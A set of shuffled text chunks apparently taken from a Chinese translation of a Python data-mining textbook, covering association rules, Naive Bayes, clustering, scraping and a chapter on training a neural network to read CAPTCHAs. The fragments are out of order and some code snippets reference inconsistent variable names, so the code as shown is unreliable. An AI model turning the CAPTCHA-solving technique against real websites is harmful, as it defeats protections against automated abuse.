    {"text": "import twitter consumer_key = \"<Your Consumer Key Here>\" consumer_secret = \"<Your Consumer Secret Here>\" access_token = \"<Your Access Token Here>\" access_token_secret = \"<Your Access Token Secret Here>\" authorization = twitter.OAuth(access_token, access_token_secret, consumer_key, consumer_secret) t = twitter.Twitter(auth=authorization) 遍历并抽取所有的消息编号。"},
    {"text": "for start_index in range(0, len(tweet_ids), 100): 把这一批次的100个编号用逗号连接起来，便于下面使用Twitter的API根据编号查找消息。 id_string = \",\".join(str(i) for i in all_ids[start_index:start_index+100]) 接着，调用Twitter定义的 statuses/lookup 方法，传入一批消息编号（已转换为字符串），以采集这些消息。 search_results = t.statuses.lookup(_id=id_string) 我们把返回结果中的每一条消息，按照之前采集数据集的做法，将它们依次保存到文件中。 for tweet in search_results: if 'text' in tweet: output_file.write(json.dumps(tweet)) output_file.write(\"\\n\\n\") 最后一步（仍然属于 if 模块），还需要保存当前遍历到的消息的类别。 获取消息类别要用到之前创建的 label_mapping 字典，根据消息编号查找即可。 代码如下： actual_labels.append(label_mapping[tweet['id']]) 运行上述代码，采集所有消息。"},
    {"text": "Unknown 第 8 章 用神经网络破解验证码 理解图像中的信息一直是数据挖掘领域的一个难题，直到最近几年才开始得到真正解决。图像检测和理解算法已相当成熟，几大厂商使用这些算法研制的监测系统已投入商用，用来处理实际问题。这些系统能够理解和识别视频画面中的人和物体。 从图像中抽取信息很难。图像包含大量原始数据，图像的标准编码单元——像素——提供的信息量很少。图像——特别是照片——可能存在一系列问题，比如模糊不清、离目标太近、光线很暗或太亮、比例失真、残缺、扭曲等，这会增加计算机系统抽取有用信息的难度。 本章介绍如何用神经网络识别图像中的字母，从而自动识别验证码。验证码的设计初衷是便于人类理解，而不易被计算机识破。验证码的英文名叫作CAPTCHA，它取自以下短语中几个单词的首字母“Completely Automated Public Turing test to tell Computers and Humans Apart”，意思是能够区别计算机和人类的全自动的公共图灵测试。很多网站都在注册、评论系统中使用验证码，以防止别人恶意注册虚假账号或发布垃圾评论。 本章主要介绍如下内容。 神经网络 创建验证码和字母数据集 用 scikit-image 库处理图像数据 神经网络库 PyBrain 从图像中抽取基本特征 使用神经网络进行更大规模的分类任务 用后处理提升效果"},
    {"text": "频繁项集是一组达到最小支持度的项目，而关联规则由前提和结论组成。 我们可以从频繁项集中抽取出关联规则，把其中几部电影作为前提，另一部电影作为结论组成如下形式的规则： 如果用户喜欢前提中的所有电影，那么他们也会喜欢结论中的电影 。"},
    {"text": "candidate_rules = [] for itemset_length, itemset_counts in frequent_itemsets.items(): for itemset in itemset_counts.keys(): 然后，遍历项集中的每一部电影，把它作为结论。"},
    {"text": "print(candidate_rules[:5]) 输出结果如下： [(frozenset({79}), 258), (frozenset({258}), 79), (frozenset({50}), 64), (frozenset({64}), 50), (frozenset({127}), 181)] 在上述这些 规则 中，第一部分（ frozenset ）是作为规则前提的电影编号，后面的数字表示作为结论的电影编号。"},
    {"text": "代码如下： correct_counts = defaultdict(int) incorrect_counts = defaultdict(int) 遍历所有用户及其喜欢的电影数据，在这个过程中遍历每条关联规则。"},
    {"text": "for user, reviews in favorable_reviews_by_users.items(): for candidate_rule in candidate_rules: premise, conclusion = candidate_rule 测试每条规则的前提对用户是否适用。"},
    {"text": "if premise.issubset(reviews): if conclusion in reviews: correct_counts[candidate_rule] += 1 else: incorrect_counts[candidate_rule] += 1 用规则应验的次数除以前提条件出现的总次数，计算每条规则的置信度。 rule_confidence = {candidate_rule: correct_counts[candidate_rule] / float(correct_counts[candidate_rule] + incorrect_counts[candidate_rule]) for candidate_rule in candidate_rules} 对置信度字典进行排序后，输出置信度最高的前五条规则。"},
    {"text": "from operator import itemgetter sorted_confidence = sorted(rule_confidence.items(), key=itemgetter(1), reverse=True) for index in range(5): print(\"Rule #{0}\".format(index + 1)) (premise, conclusion) = sorted_confidence[index][0] print(\"Rule: If a person recommends {0} they will also recommend {1}\".format(premise, conclusion)) print(\" - Confidence: {0:.3f}\".format(rule_confidence[(premise, conclusion)])) print(\"\") 结果如下： Rule #1 Rule: If a person recommends frozenset({64, 56, 98, 50, 7}) they will also recommend 174 - Confidence: 1.000 Rule #2 Rule: If a person recommends frozenset({98, 100, 172, 79, 50, 56}) they will also recommend 7 - Confidence: 1.000 Rule #3 Rule: If a person recommends frozenset({98, 172, 181, 174, 7}) they will also recommend 50 - Confidence: 1.000 Rule #4 Rule: If a person recommends frozenset({64, 98, 100, 7, 172, 50}) they will also recommend 174 - Confidence: 1.000 Rule #5 Rule: If a person recommends frozenset({64, 1, 7, 172, 79, 50}) they will also recommend 181 - Confidence: 1.000 输出结果中只显示电影编号，而没有显示电影名字，很不友好。"},
    {"text": "movie_name_filename = os.path.join(data_folder, \"u.item\") movie_name_data = pd.read_csv(movie_name_filename, delimiter=\"|\", header=None, encoding = \"mac-roman\") movie_name_data.columns = [\"MovieID\", \"Title\", \"Release Date\", \"Video Release\", \"IMDB\", \"<UNK>\", \"Action\", \"Adventure\", \"Animation\", \"Children's\", \"Comedy\", \"Crime\", \"Documentary\", \"Drama\", \"Fantasy\", \"Film-Noir\", \"Horror\", \"Musical\", \"Mystery\", \"Romance\", \"Sci-Fi\", \"Thriller\", \"War\", \"Western\"] 既然电影名称对于理解数据很重要，我们就来创建一个用电影编号获取名称的函数，以免去每次都要人工查找的烦恼。 函数声明如下： def get_movie_name(movie_id): 在数据框 movie_name_data 中查找电影编号，找到后，只返回电影名称列的数据。 title_object = movie_name_data[movie_name_data[\"MovieID\"] == movie_id][\"Title\"] 我们用 title_object 的 values 属性获取电影名称（不是存储在 title_object 中的 Series 对象）。"},
    {"text": "for index in range(5): print(\"Rule #{0}\".format(index + 1)) (premise, conclusion) = sorted_confidence[index][0] premise_names = \", \".join(get_movie_name(idx) for idx in premise) conclusion_name = get_movie_name(conclusion) print(\"Rule: If a person recommends {0} they will also recommend {1}\".format(premise_names, conclusion_name)) print(\" - Confidence: {0:.3f}\".format(confidence[(premise, conclusion)])) print(\"\") 结果清楚多了（还有些小问题，暂时先忽略）。"},
    {"text": "Rule #1 Rule: If a person recommends Shawshank Redemption, The (1994), Pulp Fiction (1994), Silence of the Lambs, The (1991), Star Wars (1977), Twelve Monkeys (1995) they will also recommend Raiders of the Lost Ark (1981) - Confidence: 1.000 Rule #2 Rule: If a person recommends Silence of the Lambs, The (1991), Fargo (1996), Empire Strikes Back, The (1980), Fugitive, The (1993), Star Wars (1977), Pulp Fiction (1994) they will also recommend Twelve Monkeys (1995) - Confidence: 1.000 Rule #3 Rule: If a person recommends Silence of the Lambs, The (1991), Empire Strikes Back, The (1980), Return of the Jedi (1983), Raiders of the Lost Ark (1981), Twelve Monkeys (1995) they will also recommend Star Wars (1977) - Confidence: 1.000 Rule #4 Rule: If a person recommends Shawshank Redemption, The (1994), Silence of the Lambs, The (1991), Fargo (1996), Twelve Monkeys (1995), Empire Strikes Back, The (1980), Star Wars (1977) they will also recommend Raiders of the Lost Ark (1981) - Confidence: 1.000 Rule #5 Rule: If a person recommends Shawshank Redemption, The (1994), Toy Story (1995), Twelve Monkeys (1995), Empire Strikes Back, The (1980), Fugitive, The (1993), Star Wars (1977) they will also recommend Return of the Jedi (1983) - Confidence: 1.000 评估 广义上讲，我们可以拿评估分类算法的那一套来用。"},
    {"text": "代码如下： test_dataset = all_ratings[~all_ratings['UserID'].isin(range(200))] test_favorable = test_dataset[test_dataset[\"Favorable\"]] test_favorable_by_users = dict((k, frozenset(v.values)) for k, v in test_favorable.groupby(\"UserID\")[\"MovieID\"]) 接着，计算规则应验的数量，方法跟之前相同。"},
    {"text": "代码如下： correct_counts = defaultdict(int) incorrect_counts = defaultdict(int) for user, reviews in test_favorable_by_users.items(): for candidate_rule in candidate_rules: premise, conclusion = candidate_rule if premise.issubset(reviews): if conclusion in reviews: correct_counts[candidate_rule] += 1 else: incorrect_counts[candidate_rule] += 1 接下来，计算所有应验规则的置信度。"},
    {"text": "test_confidence = {candidate_rule: correct_counts[candidate_rule] / float(correct_counts[candidate_rule] + incorrect_counts [candidate_rule]) for candidate_rule in rule_confidence} 最后，输出用电影名称而不是电影编号表示的最佳关联规则。 for index in range(5): print(\"Rule #{0}\".format(index + 1)) (premise, conclusion) = sorted_confidence[index][0] premise_names = \", \".join(get_movie_name(idx) for idx in premise) conclusion_name = get_movie_name(conclusion) print(\"Rule: If a person recommends {0} they will also recommend {1}\".format(premise_names, conclusion_name)) print(\" - Train Confidence: {0:.3f}\".format(rule_confidence.get((premise, conclusion), -1))) print(\" - Test Confidence: {0:.3f}\".format(test_confidence.get((premise, conclusion), -1))) print(\"\") 我们来看一下在新数据集上哪些规则最适用。"},
    {"text": "Rule #1 Rule: If a person recommends Shawshank Redemption, The (1994), Pulp Fiction (1994), Silence of the Lambs, The (1991), Star Wars (1977), Twelve Monkeys (1995) they will also recommend Raiders of the Lost Ark (1981) - Train Confidence: 1.000 - Test Confidence: 0.909 Rule #2 Rule: If a person recommends Silence of the Lambs, The (1991), Fargo (1996), Empire Strikes Back, The (1980), Fugitive, The (1993), Star Wars (1977), Pulp Fiction (1994) they will also recommend Twelve Monkeys (1995) - Train Confidence: 1.000 - Test Confidence: 0.609 Rule #3 Rule: If a person recommends Silence of the Lambs, The (1991), Empire Strikes Back, The (1980), Return of the Jedi (1983), Raiders of the Lost Ark (1981), Twelve Monkeys (1995) they will also recommend Star Wars (1977) - Train Confidence: 1.000 - Test Confidence: 0.946 Rule #4 Rule: If a person recommends Shawshank Redemption, The (1994), Silence of the Lambs, The (1991), Fargo (1996), Twelve Monkeys (1995), Empire Strikes Back, The (1980), Star Wars (1977) they will also recommend Raiders of the Lost Ark (1981) - Train Confidence: 1.000 - Test Confidence: 0.971 Rule #5 Rule: If a person recommends Shawshank Redemption, The (1994), Toy Story (1995), Twelve Monkeys (1995), Empire Strikes Back, The (1980), Fugitive, The (1993), Star Wars (1977) they will also recommend Return of the Jedi (1983) - Train Confidence: 1.000 - Test Confidence: 0.900 举例来说，第二条规则，在训练集中置信度为1，但在测试集上正确率只有60%。"},
    {"text": "Unknown 下载配套PDF文件 我们还为你准备了一个PDF文件，该文件包含书中的所有屏幕截图/图表。这些彩色图像能弥补图书中黑白图像的不足，有助于你理解本书内容。该文件的下载地址为 https://www.packtpub.com/sites/default/files/downloads/6053OS_ColorImages.pdf 。 Unknown 附录 接下来的方向 全书正文部分至此已结束，学习本书的过程中，也许你已经注意到有很多路我们没有走，遇到多种选择的情况，我们可能只讲了其中几种，还有些主题没有充分展开。在附录部分，我整理了各章进一步学习方向，便于那些意犹未尽的读者深入学习，继续提升用Python挖掘数据的能力。如果你乐于接受挑战的话，本章不容错过。 附录按照章节来组织，每章给出与数据挖掘相关的文章、书籍或其他资源，同时还就该章挖掘任务提出新的挑战，有时只让读者做些小改进，但也给出了几个工作量比较大的挑战——对于难度较大的任务，介绍内容也会更多一些。"},
    {"text": "由此我们不难推断出数据挖掘技术在发现、突显和传承人类文明方面将起到不可替代的作用。 本书讲解的正是大数据时代的核心技能——数据挖掘技术，可以预见该项技术将发挥出越来越重要的作用。"},
    {"text": "书中所涉及的数据挖掘对象很丰富，有Iris鸢尾花卉数据集、Ionosphere电离层数据集、NBA比赛结果、MovieLens电影评分数据集、古登堡计划所收集的图书、安然公司邮件数据集、博客语料、CIFAR-10图像数据集等。"},
    {"text": "这本书由浅入深，以真实数据为研究对象，逐渐增大数据集规模，真刀实枪地向读者介绍了Python数据挖掘是怎么回事，并给读者进一步学习指出了多种可能的方向。"},
    {"text": "正如作者自己在前言里所写的，书中不会涉及大量公式推导，所有的算法都是以很直观的形式向读者介绍，所以即使你缺乏一定的数学基础，只要肯用功，也不用担心自己读不懂。"},
    {"text": "去中关村图书大厦的时候，我常常喜欢浏览一下语言与程序设计书架上有没有关于Python的新书，碰到喜欢的就翻翻看，这几年眼看着Python书多了起来，很是欣慰。"},
    {"text": "此外，我去北大、北外旁听过计算语言学、概率统计等课程，去北航旁听过计算机系统基础，看过Udacity的统计学入门和吴恩达老师的机器学习课程视频，兴致来了也曾捧着Rosen的《离散数学及其应用》读上几页。"},
    {"text": "感谢上海大学研究生钱亦欣同学，他帮我审读了第3章，并给出若干很专业的修改意见，上述第6章那处问题，我也曾向他请教过，最终证明是原书弄错了。"},
    {"text": "Unknown 第 10 章 新闻语料分类 前面大部分章节在对数据进行挖掘前，新数据所属的目标类别范围是已知的。在训练过程中，我们能够了解到变量跟类别之间存在怎样的关系。这种已知目标类别的学习任务，叫作 有监督学习 。本章研究的是在不知道类别的情况下如何进行数据挖掘。这叫作 无监督学习 ，它偏重于探索、发现隐藏在数据里的信息，而不是用模型来分类，其探索性更强。 本章将介绍如何对新闻语料进行聚类，以发现其中的趋势和主题。本章还将讨论怎样从链接聚合网站抽取新闻语料。 本章主要介绍如下几个概念。 从任意新闻网站获取文本内容 使用reddit网站API采集有趣的新闻报道 使用聚类分析进行无监督的数据挖掘 抽取文档主题 用线上学习方法无需再次训练即可更新模型 组合不同的模型进行聚类"},
    {"text": "代码如下： from pybrain.datasets import SupervisedDataSet 首先，遍历我们的训练集，把每条数据添加到一个新的 SupervisedDataSet 实例中。 代码如下： training = SupervisedDataSet(X.shape[1], y.shape[1]) for i in range(X_train.shape[0]): training.addSample(X_train[i], y_train[i]) 然后，遍历测试集，同样把每条数据添加到一个新的 SupervisedDataSet 实例中。 代码如下： testing = SupervisedDataSet(X.shape[1], y.shape[1]) for i in range(X_test.shape[0]): testing.addSample(X_test[i], y_test[i]) 现在就可以创建神经网络了。"},
    {"text": "如果神经元数量过多，神经网络呈现出稀疏的特点，这时要训练足够多的神经元恰当地表示数据就有困难，这往往会导致过拟合训练数据的问题。"},
    {"text": "最后，除去输出层外，我们每层使用一个一直处于激活状态的偏置神经元（bias neuron，它与下一层神经元之间有边连接，边的权重经过训练得到）。"},
    {"text": "代码如下： from pybrain.tools.shortcuts import buildNetwork net = buildNetwork(X.shape[1], 100, y.shape[1], bias=True) 现在，我们就可以训练神经网络，寻找合适的权重值。"},
    {"text": "从输出层开始，向上层层查找预测错误的神经元，微调这些神经元输入值的权重，以达到修复输出错误的目的。 神经元之所以给出错误的预测，原因在于它前面为其提供输入的神经元，更确切来说是由这两个神经元之间边的权重及输入值决定的。"},
    {"text": "PyBrain 提供了backprop算法的一种实现，在神经网络上调用 trainer 类即可。 代码如下： from pybrain.supervised.trainers import BackpropTrainer trainer = BackpropTrainer(net, training, learningrate=0.01, weightdecay=0.01) backprop算法在训练集上进行迭代，每次都对权重进行微调。"},
    {"text": "当误差减小的幅度很小时，表明算法无法进一步缩小误差，继续训练已无意义，这时就可以停止算法运行。 理论上，等误差不再缩小时，再停止运行。"},
    {"text": "代码如下： trainer.trainEpochs(epochs=20) 运行前面的代码，这可能要花几分钟时间，长短取决于硬件，然后我们就能在测试集上进行预测。"},
    {"text": "predictions = trainer.testOnClassData(dataset=testing) 得到预测值后，可以用 scikit-learn 计算F1值。 from sklearn.metrics import f1_score print(\"F-score: {0:.2f}\".format(f1_score(predictions, y_test.argmax(axis=1) ))) F1值为0.97，对于相对较小的模型来说，这个结果很了不起。"},
    {"text": "代码如下： outputs = net.activate(subimage.flatten()) 神经网络输出26个值，每个值都有索引号，分别对应 letters 列表中有着相同索引的字母，每个值的大小表示与对应字母的相似度。"},
    {"text": "代码如下： prediction = np.argmax(outputs) 把上面得到的字母添加到正在预测的单词中。 predicted_word += letters[prediction] 循环结束后，我们就已经找到了单词的各个字母，将其拼接成单词，最后返回这个单词。 return predicted_word 可以使用下面代码来做下测试。"},
    {"text": "word = \"GENE\" captcha = create_captcha(word, shear=0.2) print(predict_captcha(captcha, net)) 我们可以把上面代码整合到一个函数里，便于进行多次尝试。"},
    {"text": "代码如下： def test_prediction(word, net, shear=0.2): captcha = create_captcha(word, shear=shear) prediction = predict_captcha(captcha, net) prediction = prediction[:4] return word == prediction, word, prediction 上述函数返回结果依次为预测结果是否正确、验证码中的单词和预测结果的前四个字符。"},
    {"text": "从 NLTK 中导入 words ，代码如下： from nltk.corpus import words words 实际上为 corpus （语料库）对象，调用它的 words() 方法才能取到里面的单词。"},
    {"text": "代码如下： valid_words = [word.upper() for word in words.words() if len(word) == 4] 识别得到的所有长度为4的单词，分别统计识别正确和错误的数量。 num_correct = 0 num_incorrect = 0 for word in valid_words: correct, word, prediction = test_prediction(word, net, shear=0.2) if correct: num_correct += 1 else: num_incorrect += 1 print(\"Number correct is {0}\".format(num_correct)) print(\"Number incorrect is {0}\".format(num_incorrect)) 正确识别2832个单词，错误识别2681个，正确率仅为51%。"},
    {"text": "from sklearn.metrics import confusion_matrix cm = confusion_matrix(np.argmax(y_test, axis=1), predictions) 理想情况下，混淆矩阵应该只有处于对角线的项 (i,i) 值不为零，其余各项的值均为零，否则就是分类有误。"},
    {"text": "用 pyplot 做成图，哪些字母容易混淆就一目了然，代码如下： plt.figure(figsize=(10, 10)) plt.imshow(cm) 下面代码中的 tick_marks 表示刻度，在坐标轴上标出每个字母，便于理解。"},
    {"text": "tick_marks = np.arange(len(letters)) plt.xticks(tick_marks, letters) plt.yticks(tick_marks, letters) plt.ylabel('Actual') plt.xlabel('Predicted') plt.show() 结果如下图所示。"},
    {"text": "证据累积算法两大步骤如下：第一步，使用k-means等低水平的聚类算法对数据集进行多次聚类，记录每一次迭代两个数据点出现在同一簇的频率，将结果保存到共协矩阵（coassociation）中。"},
    {"text": "unique_labels = set(labels) for label in unique_labels: 查找具有某一标签的所有数据点。 indices = np.where(labels == label)[0] 对于每组标签相同的数据点，记录它们的位置。"},
    {"text": "代码如下： for index1 in indices: for index2 in indices: rows.append(index1) cols.append(index2) 在所有循环的外面创建数据集，两个数据点标签相同时，数据集中该位置的值为1。"},
    {"text": "代码如下： data = np.ones((len(rows),)) return csr_matrix((data, (rows, cols)), dtype='float') 调用上述函数，传入所有的数据点标签，就能得到共协矩阵。"},
    {"text": "我们使用SciPy sparse 包的 minimum_spanning_tree 函数计算MST。 from scipy.sparse.csgraph import minimum_spanning_tree 可以直接在 coassociation 函数返回的稀疏矩阵上调用 mst 函数。 mst = minimum_spanning_tree(C) 然而，矩阵 C 中，值越高表示一组数据点被分到同一簇的次数越多——这个值表示相似度。 相反， minimum_spanning_tree 函数的输入为距离，高的值反而表示相似度越小。"},
    {"text": "mst = minimum_spanning_tree(-C) 上述函数返回结果为一个矩阵，大小跟 C 相同（行列数分别跟数据集样本数量和特征数相同），只不过保留了最小生成树中的边，其他都被删除了。"},
    {"text": "代码如下： pipeline.fit(documents) labels2 = pipeline.predict(documents) C2 = create_coassociation_matrix(labels2) C_sum = (C + C2) / 2 然后再计算MST，删除在这两个矩阵中都没有出现的边。 mst = minimum_spanning_tree(-C_sum) mst.data[mst.data > -1] = 0 我们需要移除在C1和C2都没有出现的边——也就是值为1的。"},
    {"text": "代码如下： from scipy.sparse.csgraph import connected_components number_of_clusters, labels = connected_components(mst) 我的数据集最终找到了8个簇，每个簇都跟之前差不多。"},
    {"text": "证据累积算法的工作原理为重新把特征映射到新空间，上节讲到用k-means来做特征简化，本质上，证据累积算法使用与其相似的原则，每次运行k-means算法都相当于使用转换器对特征进行一次转换。"},
    {"text": "10.4.3 实现 现在我们来把前面这些整合起来，创建接口跟 scikit-learn 对得上的简易聚类算法，实现证据累积的两个步骤。 首先，使用 scikit-learn 的 ClusterMixin 创建证据累积算法类。"},
    {"text": "from sklearn.base import BaseEstimator, ClusterMixin class EAC(BaseEstimator, ClusterMixin): 参数分别为第一步k-means算法运行次数（创建共协矩阵），用来删除边的阈值和每次运行k-means算法要找到的簇的数量。"},
    {"text": "代码如下： def __init__(self, n_clusterings=10, cut_threshold=0.5, n_ clusters_range=(3, 10)): self.n_clusterings = n_clusterings self.cut_threshold = cut_threshold self.n_clusters_range = n_clusters_range 为EAC类定义 fit 函数。"},
    {"text": "代码如下： C = sum((create_coassociation_matrix(self._single_ clustering(X)) for i in range(self.n_clusterings))) 跟前面一样，我们创建MST，删除低于阈值的边（注意使用相反数），找到连通分支。"},
    {"text": "代码如下： mst = minimum_spanning_tree(-C) mst.data[mst.data > -self.cut_threshold] = 0 self.n_components, self.labels_ = connected_components(mst) return self 接着，编写通过一轮迭代进行聚类的函数。"},
    {"text": "代码如下： def _single_clustering(self, X): n_clusters = np.random.randint(*self.n_clusters_range) km = KMeans(n_clusters=n_clusters) return km.fit_predict(X) 像之前那样创建流水线，只不过在流水线最后一步，使用证据累积算法而不是之前的k-means算法实例，运行代码。"},
    {"text": "Unknown 6.2 文本转换器 数据集创建好后，怎样在它上面施展数据挖掘的威力呢？ 文本数据集包括图书、文章、网站、手稿、代码以及其他形式的文本。我们目前所见过的所有算法不是用来处理数值型就是类别型特征，怎样才能把文本转换成算法可以处理的形式？ 多种测量方法能够帮上忙。比如，平均词长和平均句长可用来预测文本的可读性。除此之外，还有很多其他类型的特征，比如我们接下来要用到的单词是否出现（word occurrence）。 6.2.1 词袋 一种最简单却非常高效的模型就是只统计数据集中每个单词的出现次数。我们来创建一个矩阵，每一行表示数据集中的一篇文档，每一列代表一个词。矩阵中的每一项为某个词在文档中的出现次数。 下面这段文字节选自托尔金（J. R. R. Tolkien）的《指环王》。 Three Rings for the Elven-kings under the sky, Seven for the Dwarf-lords in halls of stone, Nine for Mortal Men, doomed to die, One for the Dark Lord on his dark throne In the Land of Mordor where the Shadows lie. One Ring to rule them all, One Ring to find them, One Ring to bring them all and in the darkness bind them. In the Land of Mordor where the Shadows lie. — J.R.R. Tolkien's epigraph to The Lord of The Rings 单词the在引文中出现了9次，单词in、for、to和one各出现了4次。单词ring和of各出现3次。 从中选取几组数据，创建一个简单的数据集。 单词 the one ring to 频次 9 4 3 4 可以用 counter 方法统计列表中各字符串出现次数。统计单词时，通常将所有字母转换为小写，因此定义字符串时顺便把它转换为小写形式。代码如下： s = \"\"\"Three Rings for the Elven-kings under the sky, Seven for the Dwarf-lords in halls of stone, Nine for Mortal Men, doomed to die, One for the Dark Lord on his dark throne In the Land of Mordor where the Shadows lie. One Ring to rule them all, One Ring to find them, One Ring to bring them all and in the darkness bind them. In the Land of Mordor where the Shadows lie. \"\"\".lower() words = s.split() from collections import Counter c = Counter(words) c.most_common(5) 输出出现次数最多的前5个词，竟然有4个词并列第二，多输出几个就能看出词频的差异了。 词袋模型主要分为以下三种：第一种像上面这样使用词语实际出现次数作为词频。缺点是当文档长度差异明显时，词频差距会非常大。第二种是使用归一化后的词频，每篇文档中所有词语的词频之和为1。这种做法优势明显，它规避了文档长度对词频的影响。第三种，直接使用二值特征来表示——单词在文档中出现值为1，不出现值为0。本章使用第三种。 另外一种（更）通用的规范化方法叫作 词频—逆文档频率法 （term frequency-inverse document frequency，简写为tf-idf），该加权方法用词频来代替词的出现次数，然后再用词频除以包含该词的文档的数量。第10章将会用到词频—逆文档频率法。 Python有很多用于处理文本的库。我们将使用主流的 NLTK库 （Natural Language ToolKit，自然语言处理工具集）抽取特征。 scikit-learn 提供进行类似处理的 CountVectorizer 类，建议你花点时间了解下（第9章将会用到）。然而在分词方面，NLTK提供更多选择。如果你打算用Python做自然语言处理，NLTK是个不错的选择。 6.2.2 N元语法 比起用单个词作特征，使用 N元语法 能更好地描述文档，具体优势稍后会讲。N元语法是指由几个连续的词组成的子序列。拿我们的数据集来讲，N元语法指的是每条消息里一组连续的词。 N元语法的计算方法跟计算单个词语方法相同，我们把构成N元语法的几个词看成是 词袋 中的一个 词 。数据集 5 中每一项就变成了N元语法在给定文档中的词频。 5 指用N元语法作为特征的数据集。——译者注 N元语法中的参数 n ，对于英语这门语言，一开始取2到5之间的值就可以，有些应用可能要使用更高的值 举个例子吧，当 n 取3时，我们从下面引文中抽取前几个N元语法。 Always look on the bright side of life. 第一个N元语法（三元）是Always look on，第二个是look on the，第三个是on the bright。你可能已经发现，几个N元语法有重合，其中三个词有不同程度的重复。 N元语法比起单个词有很多优点。这个简单的概念不用通过大量的计算，就提供了有助于理解词语用法的上下文信息。它的缺点是特征矩阵变得更为稀疏——一个N元语法不太可能出现两次（尤其是在Twitter消息及其他短文本中！）。 对于社会媒体所产生的内容以及其他短文档，N元语法不可能出现在多篇不同的文档中，除非是转发。然而，在长文档中，N元语法就很有效。 文档的另外一种N元语法关注的不是一组词而是一组字符（虽然字符N元语法 6 有多种计算方法！）。字符N元语法有助于发现拼写错误，除此之外，还有其他好处。本章及第9章都将测试这种N元语法的效果。 6 英文为Character N-gram。 ——译者注 6.2.3 其他特征 除了N元语法外，还可以抽取很多其他特征，其中就包括句法特征，比如特定词语在句子中的用法。对于需要理解文本含义的数据挖掘应用，往往会用到词性。本书限于篇幅将不涉及这些特征。如果你对此感兴趣，推荐你看由Packt出版的 Python 3 Text Processing with NLTK 3 Cookbook ，作者为Jacob Perkins。"},
    {"text": "Unknown 排版约定 本书使用不同的文本样式来区分不同类别的内容。以下是常用样式及其用途说明。 首先，我们来看一下最重要的代码所使用的样式。 if True: print(\"Welcome to the book\") 请留意缩进。缩进在Python中表示层级的概念。本书中，我们使用四个空格来表示缩进。你可以按照自己的喜好，使用不同数量的空格（或制表符），但是应该保持一致。如果你被缩进搞糊涂了，请参考本书的示例代码。 在正文中引用代码时，会使用下面这种样式： I'll use this format 。你不需要在IPython Notebook中输入这些代码，除非我在正文中明确要求你这么做。 所有的命令行输入或输出都使用下面这种样式： # cp file1.txt file2.txt 新的术语 和 重要的词语 使用楷体。 此图标表示警告或重要信息。 此图标表示提示或技巧。 读者反馈 我们热忱地欢迎读者朋友给予我们反馈，告诉我们你对于这本书的所思所想——你喜欢或是不喜欢哪些内容。大家的反馈对我们来说至关重要，将能帮助我们确定到底哪些内容是读者真正需要的。 如果你有一般性建议的话，请发邮件至feedback@packtpub.com，请在邮件主题中写清书的名称。 如果你是某一方面的专家，对某个主题特别感兴趣，有意向自己或是与别人合作写一本书，请到 www.packtpub.com/authors 查阅我们为作者准备的帮助文档。"},
    {"text": "6.3.1 贝叶斯定理 大多数人在开始学习统计学时，都会被灌输从频率论者角度出发看问题的思想，即假定数据遵从某种分布，我们的目标是确定该种分布的几个参数。"},
    {"text": "贝叶斯定理公式如下： 举例说明，我们想计算含有单词drugs的邮件为垃圾邮件的概率（正如我们认为含有该词的Twitter消息可能是兜售药品的垃圾广告）。"},
    {"text": "类似地，我们可以通过计算数据集中含有单词drugs的邮件数量得到P(B)。 如果每100封邮件中有10封邮件包含单词drugs，那么P(B)就为10/100或0.1。"},
    {"text": "P(B|A)指的是垃圾邮件中含有单词drugs的概率，计算起来也很容易，统计训练集中所有垃圾邮件的数量以及其中含有单词drugs的数量。 30封垃圾邮件中，如果有6封含有单词drugs，那么P(B|A)就为6/30或0.2。 现在，我们根据贝叶斯定理就能计算出P(A|B)，得到含有drugs的邮件为垃圾邮件的概率。"},
    {"text": "P(D)为某一文档的概率，它牵扯到各种特征，计算起来很困难，但是在计算文档属于哪个类别时，对于所有类别来说，P(D)相同，因此根本就不用计算它。"},
    {"text": "我们朴素地假定各个特征之间是相互独立的，分别计算每个特征（D1、D2、D3等）在给定类别出现的概率，再求它们的积。 P(D|C) = P(D1|C) x P(D2|C).... x P(Dn|C) 上式右侧对于二值特征相对比较容易计算。"},
    {"text": "训练集中有75%的数据属于类别0，25%属于类别1，且每个特征属于每个类别的似然度如下。 类别0：[0.3, 0.4, 0.4, 0.7] 类别1：[0.7, 0.3, 0.4, 0.9] 拿类别0中特征1的似然度举例子，上面这两行数据可以这样理解： 类别0中有30%的数据，特征1的值为1 。 我们来计算一下这条数据属于类别0的概率。 类别为0时，P(C=0) = 0.75。"},
    {"text": "P(D|C=0) = P(D1|C=0) x P(D2|C=0) x P(D3|C=0) x P(D4|C=0) = 0.3 x 0.6 x 0.6 x 0.7 = 0.0756 第二、三个值为0.6，是因为在上面我们给出的那条数据（[1, 0, 0, 1]）中，这两个特征的值为0。"},
    {"text": "P(D|C=1) = P(D1|C=1) x P(D2|C=1) x P(D3|C=1) x P(D4|C=1) = 0.7 x 0.7 x 0.6 x 0.9 = 0.2646 P(C=1|D) = P(C=1)P(D|C=1) = 0.25 * 0.2646 = 0.06615 通常，P(C=0|D) + P(C=1|D)应该等于1。"},
    {"text": "当我们尝试用程序获取里面的实际内容时，可能会遇到种种困难，因为如今的网站，有很多逻辑是在后台运行：调用JavaScript库，应用样式表，用AJAX加载广告，在侧边栏增加很多内容等，这些功能增加了网站的复杂程度。"},
    {"text": "10.2.1 寻找任意网站网页中的主要内容 我们首先需要访问每个链接，下载各个网页，将它们保存到Data文件夹中事先建好的用于存放原始网页的文件夹raw。"},
    {"text": "import os data_folder = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"websites\", \"raw\") 后面我们要用MD5散列算法为每篇报道创建一个唯一的文件名，所以先导入 hashlib 。"},
    {"text": "现在人们发现MD5也不是绝对可靠的，但是就我们这么小的数据规模来说不太可能出问题（出现碰撞情况），即使出现这样的问题，也不用太担心。"},
    {"text": "output_filename = hashlib.md5(url.encode()).hexdigest() fullpath = os.path.join(data_folder, output_filename + \".txt\") 接下来下载网页，保存到输出文件夹中。 try: response = requests.get(url) data = response.text with open(fullpath, 'w') as outf: outf.write(data) 如果下载网页时出现问题，跳过问题网站，继续下载下一个网站的网页。"},
    {"text": "现在，我们原始网页文件夹raw中有很多网页，查看这些网页（用文本编辑器打开），你会发现新闻报道的内容湮没在HTML、JavaScript、CSS以及其他内容之中。"},
    {"text": "filenames = [os.path.join(data_folder, filename) for filename in os.listdir(data_folder)] 接着，创建输出文件夹，新闻报道内容抽取出来后，将保存到该文件夹下。"},
    {"text": "代码如下： skip_node_types = [\"script\", \"head\", \"style\", etree.Comment] 我们创建一个函数，把HTML文件解析成 lxml etree 对象，然后创建另外一个函数，解析前面得到的树，寻找文本。"},
